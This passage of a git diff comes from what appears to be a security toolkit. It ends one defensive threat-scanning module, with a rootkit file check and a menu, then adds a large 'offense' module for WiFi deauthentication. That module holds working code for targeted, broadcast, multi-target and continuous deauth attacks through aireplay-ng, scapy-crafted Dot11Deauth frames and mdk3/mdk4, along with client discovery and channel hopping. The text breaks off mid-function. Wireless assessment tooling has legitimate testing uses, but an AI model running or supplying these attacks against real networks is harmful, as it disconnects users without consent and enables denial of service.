+ self.print_status("Process count consistent", "success")
+
+ # Check for common rootkit files
+ rootkit_files = [
+ "/usr/lib/libproc.a",
+ "/dev/ptyp",
+ "/dev/ptyq",
+ "/usr/include/file.h",
+ "/usr/include/hosts.h",
+ ]
+ for f in rootkit_files:
+ if Path(f).exists():
+ self.alert("Rootkit Artifact", f"Suspicious file: {f}", "high")
+
+ self.print_status("Rootkit checks complete", "info")
+
+ def show_menu(self):
+ clear_screen()
+ display_banner()
+
+ print(f"{Colors.MAGENTA}{Colors.BOLD} Counter Intelligence{Colors.RESET}")
+ print(f"{Colors.DIM} Threat detection & response{Colors.RESET}")
+ print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}")
+ print()
+ print(f" {Colors.BOLD}Quick Scans{Colors.RESET}")
+ print(f" {Colors.MAGENTA}[1]{Colors.RESET} Full Threat Scan")
+ print(f" {Colors.MAGENTA}[2]{Colors.RESET} Suspicious Processes")
+ print(f" {Colors.MAGENTA}[3]{Colors.RESET} Network Analysis")
+ print(f" {Colors.MAGENTA}[4]{Colors.RESET} Login Anomalies (Quick)")
+ print(f" {Colors.MAGENTA}[5]{Colors.RESET} File Integrity")
+ print(f" {Colors.MAGENTA}[6]{Colors.RESET} Scheduled Tasks")
+ print(f" {Colors.MAGENTA}[7]{Colors.RESET} Rootkit Detection")
+ print()
+ print(f" {Colors.BOLD}Investigation Tools{Colors.RESET}")
+ print(f" {Colors.MAGENTA}[8]{Colors.RESET} Login Anomalies Analysis {Colors.CYAN}(Interactive){Colors.RESET}")
+ print()
+ print(f" {Colors.DIM}[0]{Colors.RESET} Back")
+ print()
+
+ def full_scan(self):
+ """Run all threat checks."""
+ self.threats = []
+ self.check_suspicious_processes()
+ self.check_network_connections()
+ self.check_login_anomalies()
+ self.check_file_integrity()
+ self.check_scheduled_tasks()
+ self.check_rootkits()
+
+ # Summary
+ high = sum(1 for t in self.threats if t['severity'] == 'high')
+ medium = sum(1 for t in self.threats if t['severity'] == 'medium')
+
+ print(f"\n{Colors.BOLD}{'─' * 50}{Colors.RESET}")
+ print(f"{Colors.BOLD}Threat Summary:{Colors.RESET}")
+ print(f" {Colors.RED}High: {high}{Colors.RESET}")
+ print(f" {Colors.YELLOW}Medium: {medium}{Colors.RESET}")
+
+ if high > 0:
+ print(f"\n{Colors.RED}CRITICAL: Immediate investigation required!{Colors.RESET}")
+
+ def run(self):
+ while True:
+ self.show_menu()
+ try:
+ choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip()
+ self.threats = []
+
+ if choice == "0":
+ break
+ elif choice == "1":
+ self.full_scan()
+ elif choice == "2":
+ self.check_suspicious_processes()
+ elif choice == "3":
+ self.check_network_connections()
+ elif choice == "4":
+ self.check_login_anomalies()
+ elif choice == "5":
+ self.check_file_integrity()
+ elif choice == "6":
+ self.check_scheduled_tasks()
+ elif choice == "7":
+ self.check_rootkits()
+ elif choice == "8":
+ self.login_anomalies_menu()
+ continue # Skip the "Press Enter" prompt for interactive menu
+
+ if choice in ["1", "2", "3", "4", "5", "6", "7"]:
+ input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
+
+ except (EOFError, KeyboardInterrupt):
+ break
+
+
+def run():
+ Counter().run()
+
+
+if __name__ == "__main__":
+ run()
diff --git a/modules/deauth.py b/modules/deauth.py
new file mode 100644
index 0000000..4c09b87
--- /dev/null
+++ b/modules/deauth.py
@@ -0,0 +1,1287 @@
+"""AUTARCH Deauth Attack Module
+
+Targeted and broadcast WiFi deauthentication, multi-target attacks,
+continuous mode, channel hopping, and client discovery for wireless
+assessments. Designed for Raspberry Pi and SBCs with monitor-mode adapters.
+"""
+
+DESCRIPTION = "WiFi deauthentication — targeted & broadcast attacks"
+AUTHOR = "darkHal"
+VERSION = "1.0"
+CATEGORY = "offense"
+
+import os
+import re
+import sys
+import json
+import time
+import shutil
+import signal
+import struct
+import threading
+import subprocess
+from pathlib import Path
+from datetime import datetime
+from typing import Dict, List, Optional, Any
+
+try:
+ from core.paths import find_tool, get_data_dir
+except ImportError:
+ def find_tool(name):
+ return shutil.which(name)
+ def get_data_dir():
+ return str(Path(__file__).parent.parent / 'data')
+
+sys.path.insert(0, str(Path(__file__).parent.parent))
+try:
+ from core.banner import Colors, clear_screen, display_banner
+except ImportError:
+ class Colors:
+ RED = YELLOW = GREEN = CYAN = WHITE = DIM = RESET = BOLD = MAGENTA = ""
+ def clear_screen(): pass
+ def display_banner(): pass
+
+
+# ── Singleton ────────────────────────────────────────────────────────────────
+
+_instance = None
+
+def get_deauth():
+ """Return singleton DeauthAttack instance."""
+ global _instance
+ if _instance is None:
+ _instance = DeauthAttack()
+ return _instance
+
+
+# ── Helpers ──────────────────────────────────────────────────────────────────
+
+MAC_RE = re.compile(r'^([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}$')
+BROADCAST = 'FF:FF:FF:FF:FF:FF'
+
+
+def _validate_mac(mac: str) -> bool:
+ return bool(MAC_RE.match(mac))
+
+
+def _run(cmd, timeout=30) -> tuple:
+ """Run a command, return (success, stdout)."""
+ try:
+ result = subprocess.run(
+ cmd, shell=isinstance(cmd, str),
+ capture_output=True, text=True, timeout=timeout
+ )
+ return result.returncode == 0, result.stdout.strip()
+ except subprocess.TimeoutExpired:
+ return False, 'Command timed out'
+ except Exception as e:
+ return False, str(e)
+
+
+def _run_bg(cmd) -> Optional[subprocess.Popen]:
+ """Start a background process, return Popen or None."""
+ try:
+ proc = subprocess.Popen(
+ cmd, shell=isinstance(cmd, str),
+ stdout=subprocess.PIPE, stderr=subprocess.PIPE,
+ text=True
+ )
+ return proc
+ except Exception:
+ return None
+
+
+# ── DeauthAttack Class ───────────────────────────────────────────────────────
+
+class DeauthAttack:
+ """WiFi deauthentication attack toolkit."""
+
+ def __init__(self):
+ # Data directory
+ data_root = get_data_dir()
+ if isinstance(data_root, Path):
+ data_root = str(data_root)
+ self.data_dir = os.path.join(data_root, 'deauth')
+ os.makedirs(self.data_dir, exist_ok=True)
+
+ self.history_path = os.path.join(self.data_dir, 'history.json')
+
+ # Tool paths
+ self.aireplay = find_tool('aireplay-ng') or shutil.which('aireplay-ng')
+ self.airmon = find_tool('airmon-ng') or shutil.which('airmon-ng')
+ self.airodump = find_tool('airodump-ng') or shutil.which('airodump-ng')
+ self.mdk3 = find_tool('mdk3') or shutil.which('mdk3')
+ self.mdk4 = find_tool('mdk4') or shutil.which('mdk4')
+ self.iw = shutil.which('iw')
+ self.ip_cmd = shutil.which('ip')
+ self.iwconfig = shutil.which('iwconfig')
+
+ # Scapy availability
+ self._scapy = None
+ try:
+ from scapy.all import (
+ Dot11, Dot11Deauth, RadioTap, sendp, sniff, conf
+ )
+ self._scapy = True
+ except ImportError:
+ self._scapy = False
+
+ # Attack state
+ self._continuous_thread: Optional[threading.Thread] = None
+ self._continuous_running = False
+ self._continuous_target = {}
+ self._continuous_frames_sent = 0
+ self._continuous_start_time = 0.0
+
+ # Channel hopping state
+ self._hop_thread: Optional[threading.Thread] = None
+ self._hop_running = False
+ self._current_channel = 0
+
+ # Attack history
+ self._history: List[Dict] = []
+ self._load_history()
+
+ # ── Tool Status ──────────────────────────────────────────────────────
+
+ def get_tools_status(self) -> Dict[str, Any]:
+ """Return availability of all tools used by this module."""
+ return {
+ 'aireplay-ng': self.aireplay is not None,
+ 'airmon-ng': self.airmon is not None,
+ 'airodump-ng': self.airodump is not None,
+ 'mdk3': self.mdk3 is not None,
+ 'mdk4': self.mdk4 is not None,
+ 'iw': self.iw is not None,
+ 'ip': self.ip_cmd is not None,
+ 'iwconfig': self.iwconfig is not None,
+ 'scapy': self._scapy is True,
+ }
+
+ # ── Interface Management ─────────────────────────────────────────────
+
+ def get_interfaces(self) -> List[Dict]:
+ """List wireless interfaces with mode info."""
+ interfaces = []
+
+ # Try iw dev first
+ if self.iw:
+ try:
+ out = subprocess.check_output(
+ [self.iw, 'dev'], text=True, timeout=5
+ )
+ iface = None
+ for line in out.splitlines():
+ line = line.strip()
+ if line.startswith('Interface'):
+ if iface:
+ interfaces.append(iface)
+ iface = {
+ 'name': line.split()[-1],
+ 'mode': 'managed',
+ 'channel': 0,
+ 'mac': '',
+ 'phy': ''
+ }
+ elif iface:
+ if line.startswith('type'):
+ iface['mode'] = line.split()[-1]
+ elif line.startswith('channel'):
+ try:
+ iface['channel'] = int(line.split()[1])
+ except (ValueError, IndexError):
+ pass
+ elif line.startswith('addr'):
+ iface['mac'] = line.split()[-1]
+ if iface:
+ interfaces.append(iface)
+ except Exception:
+ pass
+
+ # Fallback to iwconfig
+ if not interfaces and self.iwconfig:
+ try:
+ out = subprocess.check_output(
+ [self.iwconfig], text=True,
+ stderr=subprocess.DEVNULL, timeout=5
+ )
+ for block in out.split('\n\n'):
+ if 'IEEE 802.11' in block or 'ESSID' in block:
+ name = block.split()[0]
+ mode = 'managed'
+ if 'Mode:Monitor' in block:
+ mode = 'monitor'
+ elif 'Mode:Master' in block:
+ mode = 'master'
+ ch_m = re.search(r'Channel[:\s]*(\d+)', block)
+ ch = int(ch_m.group(1)) if ch_m else 0
+ mac_m = re.search(
+ r'HWaddr\s+([\da-fA-F:]{17})', block
+ )
+ mac = mac_m.group(1) if mac_m else ''
+ interfaces.append({
+ 'name': name, 'mode': mode,
+ 'channel': ch, 'mac': mac, 'phy': ''
+ })
+ except Exception:
+ pass
+
+ # Last resort: /sys/class/net
+ if not interfaces:
+ try:
+ sys_net = Path('/sys/class/net')
+ if sys_net.exists():
+ for d in sys_net.iterdir():
+ if (d / 'wireless').exists() or (d / 'phy80211').exists():
+ interfaces.append({
+ 'name': d.name, 'mode': 'unknown',
+ 'channel': 0, 'mac': '', 'phy': ''
+ })
+ except Exception:
+ pass
+
+ return interfaces
+
+ def enable_monitor(self, interface: str) -> Dict:
+ """Put interface into monitor mode.
+
+ Tries airmon-ng first, falls back to iw.
+ Returns dict with ok, interface (monitor name), and message.
+ """
+ if not interface:
+ return {'ok': False, 'error': 'No interface specified'}
+
+ # Try airmon-ng
+ if self.airmon:
+ try:
+ # Kill interfering processes
+ subprocess.run(
+ [self.airmon, 'check', 'kill'],
+ capture_output=True, text=True, timeout=10
+ )
+ result = subprocess.run(
+ [self.airmon, 'start', interface],
+ capture_output=True, text=True, timeout=15
+ )
+ output = result.stdout + result.stderr
+ # Detect the monitor interface name
+ mon_match = re.search(
+ r'\(monitor mode (?:vif )?enabled(?: on| for) \[?(\w+)\]?\)',
+ output
+ )
+ if mon_match:
+ mon_iface = mon_match.group(1)
+ elif os.path.isdir(f'/sys/class/net/{interface}mon'):
+ mon_iface = f'{interface}mon'
+ else:
+ mon_iface = interface
+
+ return {
+ 'ok': True,
+ 'interface': mon_iface,
+ 'message': f'Monitor mode enabled on {mon_iface}'
+ }
+ except Exception as e:
+ return {'ok': False, 'error': f'airmon-ng failed: {e}'}
+
+ # Fallback: iw
+ if self.iw and self.ip_cmd:
+ try:
+ subprocess.run(
+ [self.ip_cmd, 'link', 'set', interface, 'down'],
+ capture_output=True, timeout=5
+ )
+ result = subprocess.run(
+ [self.iw, 'dev', interface, 'set', 'type', 'monitor'],
+ capture_output=True, text=True, timeout=5
+ )
+ subprocess.run(
+ [self.ip_cmd, 'link', 'set', interface, 'up'],
+ capture_output=True, timeout=5
+ )
+ if result.returncode == 0:
+ return {
+ 'ok': True,
+ 'interface': interface,
+ 'message': f'Monitor mode enabled on {interface} (via iw)'
+ }
+ return {'ok': False, 'error': result.stderr.strip() or 'iw set monitor failed'}
+ except Exception as e:
+ return {'ok': False, 'error': f'iw failed: {e}'}
+
+ return {'ok': False, 'error': 'No tool available (need airmon-ng or iw+ip)'}
+
+ def disable_monitor(self, interface: str) -> Dict:
+ """Restore interface to managed mode."""
+ if not interface:
+ return {'ok': False, 'error': 'No interface specified'}
+
+ # Try airmon-ng
+ if self.airmon:
+ try:
+ result = subprocess.run(
+ [self.airmon, 'stop', interface],
+ capture_output=True, text=True, timeout=15
+ )
+ output = result.stdout + result.stderr
+ managed_match = re.search(
+ r'\(monitor mode disabled(?: on)? (\w+)\)', output
+ )
+ managed_name = managed_match.group(1) if managed_match else interface.replace('mon', '')
+ return {
+ 'ok': True,
+ 'interface': managed_name,
+ 'message': f'Managed mode restored on {managed_name}'
+ }
+ except Exception as e:
+ return {'ok': False, 'error': f'airmon-ng stop failed: {e}'}
+
+ # Fallback: iw
+ if self.iw and self.ip_cmd:
+ try:
+ subprocess.run(
+ [self.ip_cmd, 'link', 'set', interface, 'down'],
+ capture_output=True, timeout=5
+ )
+ result = subprocess.run(
+ [self.iw, 'dev', interface, 'set', 'type', 'managed'],
+ capture_output=True, text=True, timeout=5
+ )
+ subprocess.run(
+ [self.ip_cmd, 'link', 'set', interface, 'up'],
+ capture_output=True, timeout=5
+ )
+ if result.returncode == 0:
+ return {
+ 'ok': True,
+ 'interface': interface,
+ 'message': f'Managed mode restored on {interface}'
+ }
+ return {'ok': False, 'error': result.stderr.strip() or 'iw set managed failed'}
+ except Exception as e:
+ return {'ok': False, 'error': f'iw failed: {e}'}
+
+ return {'ok': False, 'error': 'No tool available'}
+
+ # ── Scanning ─────────────────────────────────────────────────────────
+
+ def scan_networks(self, interface: str, duration: int = 10) -> List[Dict]:
+ """Passive scan for access points.
+
+ Uses airodump-ng CSV output or scapy sniffing.
+ Returns list of dicts: bssid, ssid, channel, encryption, signal, clients_count.
+ """
+ if not interface:
+ return []
+
+ networks = []
+
+ # Method 1: airodump-ng
+ if self.airodump:
+ tmp_prefix = os.path.join(self.data_dir, f'scan_{int(time.time())}')
+ try:
+ proc = subprocess.Popen(
+ [self.airodump, '--write', tmp_prefix,
+ '--output-format', 'csv', '--write-interval', '1',
+ interface],
+ stdout=subprocess.DEVNULL,
+ stderr=subprocess.DEVNULL
+ )
+ time.sleep(min(duration, 120))
+ proc.terminate()
+ try:
+ proc.wait(timeout=5)
+ except subprocess.TimeoutExpired:
+ proc.kill()
+
+ # Parse CSV
+ csv_path = f'{tmp_prefix}-01.csv'
+ if os.path.isfile(csv_path):
+ networks = self._parse_airodump_csv(csv_path)
+ # Clean up temp files
+ for f in Path(self.data_dir).glob(
+ f'scan_{os.path.basename(tmp_prefix).replace("scan_", "")}*'
+ ):
+ try:
+ f.unlink()
+ except Exception:
+ pass
+ except Exception:
+ pass
+
+ # Method 2: scapy fallback
+ if not networks and self._scapy:
+ networks = self._scan_scapy(interface, duration)
+
+ return networks
+
+ def _parse_airodump_csv(self, csv_path: str) -> List[Dict]:
+ """Parse airodump-ng CSV output into network list."""
+ networks = []
+ clients_map: Dict[str, int] = {}
+ section = 'ap'
+
+ try:
+ with open(csv_path, 'r', errors='ignore') as f:
+ for line in f:
+ line = line.strip()
+ if not line:
+ continue
+ if line.startswith('Station MAC'):
+ section = 'client'
+ continue
+ if line.startswith('BSSID') or line.startswith('\x00'):
+ continue
+
+ parts = [p.strip() for p in line.split(',')]
+
+ if section == 'ap' and len(parts) >= 14:
+ bssid = parts[0]
+ if not _validate_mac(bssid):
+ continue
+ channel = 0
+ try:
+ channel = int(parts[3])
+ except (ValueError, IndexError):
+ pass
+ signal = -100
+ try:
+ signal = int(parts[8])
+ except (ValueError, IndexError):
+ pass
+ encryption = parts[5] if len(parts) > 5 else ''
+ ssid = parts[13] if len(parts) > 13 else ''
+ networks.append({
+ 'bssid': bssid,
+ 'ssid': ssid,
+ 'channel': channel,
+ 'encryption': encryption,
+ 'signal': signal,
+ 'clients_count': 0
+ })
+
+ elif section == 'client' and len(parts) >= 6:
+ client_mac = parts[0]
+ ap_bssid = parts[5] if len(parts) > 5 else ''
+ if _validate_mac(ap_bssid):
+ clients_map[ap_bssid] = clients_map.get(ap_bssid, 0) + 1
+
+ # Merge client counts
+ for net in networks:
+ net['clients_count'] = clients_map.get(net['bssid'], 0)
+
+ except Exception:
+ pass
+
+ return networks
+
+ def _scan_scapy(self, interface: str, duration: int) -> List[Dict]:
+ """Scan using scapy beacon sniffing."""
+ networks = {}
+ try:
+ from scapy.all import Dot11, Dot11Beacon, Dot11Elt, sniff
+
+ def handler(pkt):
+ if pkt.haslayer(Dot11Beacon):
+ bssid = pkt[Dot11].addr2
+ if not bssid or bssid in networks:
+ return
+ ssid = ''
+ channel = 0
+ enc = 'OPEN'
+ elt = pkt[Dot11Elt]
+ while elt:
+ if elt.ID == 0: # SSID
+ try:
+ ssid = elt.info.decode('utf-8', errors='replace')
+ except Exception:
+ ssid = ''
+ elif elt.ID == 3: # DS Parameter Set (channel)
+ try:
+ channel = int(elt.info[0])
+ except Exception:
+ pass
+ elt = elt.payload.getlayer(Dot11Elt)
+
+ cap = pkt.sprintf('{Dot11Beacon:%Dot11Beacon.cap%}')
+ if 'privacy' in cap:
+ enc = 'WPA/WPA2'
+
+ try:
+ sig = -(256 - ord(pkt.notdecoded[-4:-3]))
+ except Exception:
+ sig = -100
+
+ networks[bssid] = {
+ 'bssid': bssid,
+ 'ssid': ssid,
+ 'channel': channel,
+ 'encryption': enc,
+ 'signal': sig,
+ 'clients_count': 0
+ }
+
+ sniff(iface=interface, prn=handler, timeout=duration, store=False)
+ except Exception:
+ pass
+
+ return list(networks.values())
+
+ def scan_clients(self, interface: str, target_bssid: Optional[str] = None,
+ duration: int = 10) -> List[Dict]:
+ """Discover client-AP associations.
+
+ Returns list of dicts: client_mac, ap_bssid, ap_ssid, signal, packets.
+ """
+ if not interface:
+ return []
+
+ clients = []
+
+ # Method 1: airodump-ng with optional BSSID filter
+ if self.airodump:
+ tmp_prefix = os.path.join(self.data_dir, f'clients_{int(time.time())}')
+ cmd = [
+ self.airodump, '--write', tmp_prefix,
+ '--output-format', 'csv', '--write-interval', '1'
+ ]
+ if target_bssid and _validate_mac(target_bssid):
+ cmd += ['--bssid', target_bssid]
+ cmd.append(interface)
+
+ try:
+ proc = subprocess.Popen(
+ cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
+ )
+ time.sleep(min(duration, 120))
+ proc.terminate()
+ try:
+ proc.wait(timeout=5)
+ except subprocess.TimeoutExpired:
+ proc.kill()
+
+ csv_path = f'{tmp_prefix}-01.csv'
+ if os.path.isfile(csv_path):
+ clients = self._parse_clients_csv(csv_path, target_bssid)
+ for f in Path(self.data_dir).glob(
+ f'clients_{os.path.basename(tmp_prefix).replace("clients_", "")}*'
+ ):
+ try:
+ f.unlink()
+ except Exception:
+ pass
+ except Exception:
+ pass
+
+ # Method 2: scapy fallback
+ if not clients and self._scapy:
+ clients = self._scan_clients_scapy(interface, target_bssid, duration)
+
+ return clients
+
+ def _parse_clients_csv(self, csv_path: str,
+ target_bssid: Optional[str] = None) -> List[Dict]:
+ """Parse airodump CSV for client associations."""
+ clients = []
+ ap_names: Dict[str, str] = {}
+ section = 'ap'
+
+ try:
+ with open(csv_path, 'r', errors='ignore') as f:
+ for line in f:
+ line = line.strip()
+ if not line:
+ continue
+ if line.startswith('Station MAC'):
+ section = 'client'
+ continue
+ if line.startswith('BSSID'):
+ continue
+
+ parts = [p.strip() for p in line.split(',')]
+
+ if section == 'ap' and len(parts) >= 14:
+ bssid = parts[0]
+ ssid = parts[13] if len(parts) > 13 else ''
+ if _validate_mac(bssid):
+ ap_names[bssid] = ssid
+
+ elif section == 'client' and len(parts) >= 6:
+ client_mac = parts[0]
+ if not _validate_mac(client_mac):
+ continue
+ ap_bssid = parts[5] if len(parts) > 5 else ''
+ if not _validate_mac(ap_bssid):
+ continue
+ if target_bssid and ap_bssid.upper() != target_bssid.upper():
+ continue
+
+ signal = -100
+ try:
+ signal = int(parts[3])
+ except (ValueError, IndexError):
+ pass
+ packets = 0
+ try:
+ packets = int(parts[4])
+ except (ValueError, IndexError):
+ pass
+
+ clients.append({
+ 'client_mac': client_mac,
+ 'ap_bssid': ap_bssid,
+ 'ap_ssid': ap_names.get(ap_bssid, ''),
+ 'signal': signal,
+ 'packets': packets
+ })
+ except Exception:
+ pass
+
+ return clients
+
+ def _scan_clients_scapy(self, interface: str,
+ target_bssid: Optional[str],
+ duration: int) -> List[Dict]:
+ """Discover clients using scapy."""
+ seen: Dict[str, Dict] = {}
+ try:
+ from scapy.all import Dot11, sniff
+
+ def handler(pkt):
+ if not pkt.haslayer(Dot11):
+ return
+ d11 = pkt[Dot11]
+ # Data or management frames — addr1=dest, addr2=src, addr3=bssid
+ src = d11.addr2
+ dst = d11.addr1
+ bssid = d11.addr3
+ if not src or not bssid:
+ return
+ if src == bssid or src == BROADCAST.lower():
+ return
+ if target_bssid and bssid.upper() != target_bssid.upper():
+ return
+ key = f'{src}_{bssid}'
+ if key not in seen:
+ seen[key] = {
+ 'client_mac': src,
+ 'ap_bssid': bssid,
+ 'ap_ssid': '',
+ 'signal': -100,
+ 'packets': 0
+ }
+ seen[key]['packets'] += 1
+
+ sniff(iface=interface, prn=handler, timeout=duration, store=False)
+ except Exception:
+ pass
+
+ return list(seen.values())
+
+ # ── Deauthentication Attacks ─────────────────────────────────────────
+
+ def deauth_targeted(self, interface: str, target_bssid: str,
+ client_mac: str, count: int = 10,
+ interval: float = 0.1) -> Dict:
+ """Send deauth frames to a specific client on a specific AP.
+
+ Uses aireplay-ng or scapy Dot11Deauth as fallback.
+ Returns stats dict.
+ """
+ if not _validate_mac(target_bssid):
+ return {'ok': False, 'error': 'Invalid target BSSID'}
+ if not _validate_mac(client_mac):
+ return {'ok': False, 'error': 'Invalid client MAC'}
+ count = max(1, min(count, 99999))
+
+ start_ts = time.time()
+ frames_sent = 0
+
+ # Method 1: aireplay-ng
+ if self.aireplay:
+ try:
+ result = subprocess.run(
+ [self.aireplay, '-0', str(count),
+ '-a', target_bssid, '-c', client_mac, interface],
+ capture_output=True, text=True,
+ timeout=max(30, count * interval * 2 + 10)
+ )
+ output = result.stdout + result.stderr
+ sent_match = re.search(r'(\d+)\s+(?:ACKs|packets)', output)
+ if sent_match:
+ frames_sent = int(sent_match.group(1))
+ else:
+ frames_sent = count
+ except subprocess.TimeoutExpired:
+ frames_sent = count
+ except Exception as e:
+ return {'ok': False, 'error': f'aireplay-ng failed: {e}'}
+
+ # Method 2: scapy
+ elif self._scapy:
+ frames_sent = self._deauth_scapy(
+ interface, target_bssid, client_mac, count, interval
+ )
+
+ # Method 3: mdk4 / mdk3
+ elif self.mdk4 or self.mdk3:
+ tool = self.mdk4 or self.mdk3
+ frames_sent = self._deauth_mdk(
+ tool, interface, target_bssid, client_mac, count
+ )
+ else:
+ return {'ok': False, 'error': 'No deauth tool available (need aireplay-ng, scapy, or mdk3/mdk4)'}
+
+ elapsed = round(time.time() - start_ts, 2)
+ record = {
+ 'timestamp': datetime.now().isoformat(),
+ 'target_bssid': target_bssid,
+ 'client_mac': client_mac,
+ 'mode': 'targeted',
+ 'count': count,
+ 'frames_sent': frames_sent,
+ 'duration': elapsed,
+ 'interface': interface
+ }
+ self._add_history(record)
+
+ return {
+ 'ok': True,
+ 'mode': 'targeted',
+ 'target_bssid': target_bssid,
+ 'client_mac': client_mac,
+ 'frames_sent': frames_sent,
+ 'duration': elapsed
+ }
+
+ def deauth_broadcast(self, interface: str, target_bssid: str,
+ count: int = 10, interval: float = 0.1) -> Dict:
+ """Broadcast deauth to all clients on an AP."""
+ return self.deauth_targeted(
+ interface, target_bssid, BROADCAST, count, interval
+ )
+
+ def deauth_multi(self, interface: str, targets: List[Dict],
+ count: int = 10, interval: float = 0.1) -> Dict:
+ """Deauth multiple AP/client pairs.
+
+ targets: list of {bssid, client_mac}
+ """
+ if not targets:
+ return {'ok': False, 'error': 'No targets specified'}
+
+ results = []
+ total_frames = 0
+
+ for t in targets:
+ bssid = t.get('bssid', '')
+ client = t.get('client_mac', BROADCAST)
+ if not client:
+ client = BROADCAST
+ r = self.deauth_targeted(interface, bssid, client, count, interval)
+ results.append(r)
+ if r.get('ok'):
+ total_frames += r.get('frames_sent', 0)
+
+ return {
+ 'ok': True,
+ 'mode': 'multi',
+ 'targets_count': len(targets),
+ 'total_frames': total_frames,
+ 'results': results
+ }
+
+ def _deauth_scapy(self, interface: str, bssid: str, client: str,
+ count: int, interval: float) -> int:
+ """Send deauth using scapy."""
+ frames_sent = 0
+ try:
+ from scapy.all import Dot11, Dot11Deauth, RadioTap, sendp
+
+ # Deauth from AP to client
+ pkt_ap = (RadioTap() /
+ Dot11(addr1=client, addr2=bssid, addr3=bssid) /
+ Dot11Deauth(reason=7))
+ # Deauth from client to AP
+ pkt_cl = (RadioTap() /
+ Dot11(addr1=bssid, addr2=client, addr3=bssid) /
+ Dot11Deauth(reason=7))
+
+ for _ in range(count):
+ sendp(pkt_ap, iface=interface, count=1, verbose=False)
+ sendp(pkt_cl, iface=interface, count=1, verbose=False)
+ frames_sent += 2
+ if interval > 0:
+ time.sleep(interval)
+
+ except Exception:
+ pass
+ return frames_sent
+
+ def _deauth_mdk(self, tool: str, interface: str, bssid: str,
+ client: str, count: int) -> int:
+ """Send deauth using mdk3/mdk4."""
+ # Create a target file for mdk
+ target_file = os.path.join(self.data_dir, 'mdk_targets.txt')
+ try:
+ with open(target_file, 'w') as f:
+ f.write(f'{bssid}\n')
+
+ result = subprocess.run(
+ [tool, interface, 'd', '-b', target_file, '-c', str(count)],
+ capture_output=True, text=True, timeout=max(30, count + 10)
+ )
+ return count # mdk does not reliably report frame count
+ except Exception:
+ return 0
+ finally:
+ try:
+ os.unlink(target_file)
+ except Exception:
+ pass
+
+ # ── Continuous Mode ──────────────────────────────────────────────────
+
+ def start_continuous(self, interface: str, target_bssid: str,
+ client_mac: Optional[str] = None,
+ interval: float = 0.5,
+ burst: int = 5) -> Dict:
+ """Start continuous deauth in a background thread.
+
+ Sends `burst` deauth frames every `interval` seconds.
+ """
+ if self._continuous_running:
+ return {'ok': False, 'error': 'Continuous attack already running'}
+ if not _validate_mac(target_bssid):
+ return {'ok': False, 'error': 'Invalid target BSSID'}
+ if client_mac and not _validate_mac(client_mac):
+ return {'ok': False, 'error': 'Invalid client MAC'}
+
+ client = client_mac or BROADCAST
+ interval = max(0.05, min(interval, 60.0))
+ burst = max(1, min(burst, 1000))
+
+ self._continuous_running = True
+ self._continuous_frames_sent = 0
+ self._continuous_start_time = time.time()
+ self._continuous_target = {
+ 'interface': interface,
+ 'target_bssid': target_bssid,
+ 'client_mac': client,
+ 'interval': interval,
+ 'burst': burst
+ }
+
+ def _worker():
+ while self._continuous_running:
+ r = self.deauth_targeted(
+ interface, target_bssid, client, burst, 0
+ )
+ if r.get('ok'):
+ self._continuous_frames_sent += r.get('frames_sent', 0)
+ time.sleep(interval)
+
+ self._continuous_thread = threading.Thread(
+ target=_worker, daemon=True, name='deauth-continuous'
+ )
+ self._continuous_thread.start()
+
+ return {
+ 'ok': True,
+ 'message': f'Continuous deauth started against {target_bssid}',
+ 'mode': 'broadcast' if client == BROADCAST else 'targeted'
+ }
+
+ def stop_continuous(self) -> Dict:
+ """Stop continuous deauth attack."""
+ if not self._continuous_running:
+ return {'ok': False, 'error': 'No continuous attack running'}
+
+ self._continuous_running = False
+ if self._continuous_thread:
+ self._continuous_thread.join(timeout=5)
+ self._continuous_thread = None
+
+ elapsed = round(time.time() - self._continuous_start_time, 2)
+ frames = self._continuous_frames_sent
+
+ record = {
+ 'timestamp': datetime.now().isoformat(),
+ 'target_bssid': self._continuous_target.get('target_bssid', ''),
+ 'client_mac': self._continuous_target.get('client_mac', ''),
+ 'mode': 'continuous',
+ 'count': frames,
+ 'frames_sent': frames,
+ 'duration': elapsed,
+ 'interface': self._continuous_target.get('interface', '')
+ }
+ self._add_history(record)
+
+ return {
+ 'ok': True,
+ 'message': 'Continuous attack stopped',
+ 'frames_sent': frames,
+ 'duration': elapsed
+ }
+
+ def is_attacking(self) -> bool:
+ """Check if continuous attack is running."""
+ return self._continuous_running
+
+ def get_attack_status(self) -> Dict:
+ """Return current attack state."""
+ if not self._continuous_running:
+ return {
+ 'running': False,
+ 'target_bssid': '',
+ 'client_mac': '',
+ 'frames_sent': 0,
+ 'duration': 0,
+ 'mode': 'idle'
+ }
+
+ elapsed = round(time.time() - self._continuous_start_time, 2)
+ client = self._continuous_target.get('client_mac', BROADCAST)
+ mode = 'broadcast' if client == BROADCAST else 'targeted'
+
+ return {
+ 'running': True,
+ 'target_bssid': self._continuous_target.get('target_bssid', ''),
+ 'client_mac': client,
+ 'frames_sent': self._continuous_frames_sent,
+ 'duration': elapsed,
+ 'mode': mode,
+ 'interval': self._continuous_target.get('interval', 0),
+ 'burst': self._continuous_target.get('burst', 0)
+ }
+
+ # ── Channel Control ──────────────────────────────────────────────────
+
+ def set_channel(self, interface: str, channel: int) -> Dict:
+ """Set interface to a specific wireless channel."""
+ channel = max(1, min(channel, 196))
+
+ if self.iw:
+ ok, out = _run([self.iw, 'dev', interface, 'set', 'channel', str(channel)])
+ if ok:
+ self._current_channel = channel
+ return {'ok': True, 'channel': channel, 'message': f'Set channel {channel}'}
+ return {'ok': False, 'error': out or f'Failed to set channel {channel}'}
+
+ if self.iwconfig:
+ ok, out = _run([self.iwconfig, interface, 'channel', str(channel)])
+ if ok:
+ self._current_channel = channel
+ return {'ok': True, 'channel': channel, 'message': f'Set channel {channel}'}
+ return {'ok': False, 'error': out or f'Failed to set channel {channel}'}
+
+ return {'ok': False, 'error': 'No tool available (need iw or iwconfig)'}
+
+ def channel_hop(self, interface: str, channels: Optional[List[int]] = None,
+ dwell: float = 0.5) -> Dict:
+ """Start channel hopping in a background thread.
+
+ Default channels: 1-14 (2.4 GHz).
+ """
+ if self._hop_running:
+ return {'ok': False, 'error': 'Channel hopping already active'}
+ if not interface:
+ return {'ok': False, 'error': 'No interface specified'}
+
+ if not channels:
+ channels = list(range(1, 15))
+ dwell = max(0.1, min(dwell, 30.0))
+
+ self._hop_running = True
+
+ def _hop_worker():
